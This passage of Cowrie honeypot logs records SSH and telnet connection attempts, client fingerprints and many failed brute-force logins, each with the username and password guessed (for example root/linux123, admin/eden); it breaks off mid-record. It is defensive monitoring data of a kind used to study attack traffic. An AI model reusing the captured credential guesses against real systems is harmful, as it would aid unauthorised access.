{"eventid":"cowrie.session.closed","duration":11.540079116821289,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.806038Z","src_ip":"104.155.98.147","session":"85bbdb94ea63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"110.239.0.47","src_port":35956,"dst_ip":"10.17.0.5","dst_port":23,"session":"394568d4f15c","protocol":"telnet","message":"New connection: 110.239.0.47:35956 (10.17.0.5:23) [session: 394568d4f15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:45.953401Z"}
{"eventid":"cowrie.session.closed","duration":25.30476665496826,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:46.545779Z","src_ip":"167.71.238.254","session":"d99fa81c14c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.896297693252563,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:58.849577Z","src_ip":"110.239.0.47","session":"394568d4f15c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":49402,"dst_ip":"159.203.135.109","dst_port":22,"session":"542df6af0640","protocol":"ssh","message":"New connection: 2.57.121.112:49402 (159.203.135.109:22) [session: 542df6af0640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:05.957837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:05.962754Z","src_ip":"2.57.121.112","session":"542df6af0640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:06.066752Z","src_ip":"2.57.121.112","session":"542df6af0640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"eden","message":"login attempt [admin/eden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:06.555245Z","src_ip":"2.57.121.112","session":"542df6af0640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ecstacy","message":"login attempt [admin/ecstacy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:07.661631Z","src_ip":"2.57.121.112","session":"542df6af0640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"echoecho","message":"login attempt [admin/echoecho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:08.768260Z","src_ip":"2.57.121.112","session":"542df6af0640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"eatcum","message":"login attempt [admin/eatcum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:09.876524Z","src_ip":"2.57.121.112","session":"542df6af0640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"eagle5","message":"login attempt [admin/eagle5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:10.988810Z","src_ip":"2.57.121.112","session":"542df6af0640","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":60372,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e3055012e97","protocol":"ssh","message":"New connection: 190.85.41.170:60372 (159.203.135.109:22) [session: 0e3055012e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:11.648016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:11.652406Z","src_ip":"190.85.41.170","session":"0e3055012e97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:11.727165Z","src_ip":"190.85.41.170","session":"0e3055012e97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345Aa@","message":"login attempt [root/12345Aa@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:12.067752Z","src_ip":"190.85.41.170","session":"0e3055012e97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:12.095625Z","src_ip":"2.57.121.112","session":"542df6af0640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:13.145292Z","src_ip":"190.85.41.170","session":"0e3055012e97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":14849,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e42d463fc5f","protocol":"ssh","message":"New connection: 2.57.121.25:14849 (159.203.135.109:22) [session: 6e42d463fc5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:30.040691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:30.048479Z","src_ip":"2.57.121.25","session":"6e42d463fc5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:30.152500Z","src_ip":"2.57.121.25","session":"6e42d463fc5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hoes","message":"login attempt [user/hoes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:30.629615Z","src_ip":"2.57.121.25","session":"6e42d463fc5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hitman47","message":"login attempt [user/hitman47] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:31.734536Z","src_ip":"2.57.121.25","session":"6e42d463fc5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hermione","message":"login attempt [user/hermione] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:32.838734Z","src_ip":"2.57.121.25","session":"6e42d463fc5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hellow","message":"login attempt [user/hellow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:33.942386Z","src_ip":"2.57.121.25","session":"6e42d463fc5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hellome","message":"login attempt [user/hellome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:35.047064Z","src_ip":"2.57.121.25","session":"6e42d463fc5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:36.151180Z","src_ip":"2.57.121.25","session":"6e42d463fc5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":41492,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd77dbf12b49","protocol":"telnet","message":"New connection: 167.71.238.254:41492 (10.17.0.5:23) [session: bd77dbf12b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:37:37.472575Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":49368,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1f40f13a4a8","protocol":"ssh","message":"New connection: 190.85.41.170:49368 (159.203.135.109:22) [session: d1f40f13a4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:38:36.797115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:38:36.802312Z","src_ip":"190.85.41.170","session":"d1f40f13a4a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:38:36.879355Z","src_ip":"190.85.41.170","session":"d1f40f13a4a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:38:37.211093Z","src_ip":"190.85.41.170","session":"d1f40f13a4a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:38:38.287751Z","src_ip":"190.85.41.170","session":"d1f40f13a4a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.50120902061462,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:38:44.973662Z","src_ip":"167.71.238.254","session":"bd77dbf12b49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":34512,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fcfab396093","protocol":"ssh","message":"New connection: 176.65.132.190:34512 (10.17.0.5:22) [session: 6fcfab396093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:38:51.071602Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:38:51.076913Z","src_ip":"176.65.132.190","session":"6fcfab396093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.199","src_port":51985,"dst_ip":"10.17.0.5","dst_port":22,"session":"04c7859d154f","protocol":"ssh","message":"New connection: 205.210.31.199:51985 (10.17.0.5:22) [session: 04c7859d154f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:39:21.392033Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:39:21.562532Z","src_ip":"205.210.31.199","session":"04c7859d154f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.110","src_port":41850,"dst_ip":"10.17.0.5","dst_port":22,"session":"df6d5874ad34","protocol":"ssh","message":"New connection: 45.79.207.110:41850 (10.17.0.5:22) [session: df6d5874ad34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:39:41.993785Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:39:43.171378Z","src_ip":"45.79.207.110","session":"df6d5874ad34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":42880,"dst_ip":"159.203.135.109","dst_port":22,"session":"9607ac4cfb5c","protocol":"ssh","message":"New connection: 190.85.41.170:42880 (159.203.135.109:22) [session: 9607ac4cfb5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:39:54.524711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:39:54.529829Z","src_ip":"190.85.41.170","session":"9607ac4cfb5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:39:54.605307Z","src_ip":"190.85.41.170","session":"9607ac4cfb5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"exit","password":"exit","message":"login attempt [exit/exit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:39:55.196935Z","src_ip":"190.85.41.170","session":"9607ac4cfb5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:39:56.327875Z","src_ip":"190.85.41.170","session":"9607ac4cfb5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":32060,"dst_ip":"159.203.135.109","dst_port":22,"session":"2588bba590c2","protocol":"ssh","message":"New connection: 45.123.110.70:32060 (159.203.135.109:22) [session: 2588bba590c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:41:16.121877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:41:16.127764Z","src_ip":"45.123.110.70","session":"2588bba590c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:41:16.374632Z","src_ip":"45.123.110.70","session":"2588bba590c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"backup10","message":"login attempt [root/backup10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:41:17.353914Z","src_ip":"45.123.110.70","session":"2588bba590c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:41:18.591250Z","src_ip":"45.123.110.70","session":"2588bba590c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":37240,"dst_ip":"159.203.135.109","dst_port":22,"session":"e935f42fb3f0","protocol":"ssh","message":"New connection: 190.85.41.170:37240 (159.203.135.109:22) [session: e935f42fb3f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:41:57.805057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:41:57.809723Z","src_ip":"190.85.41.170","session":"e935f42fb3f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 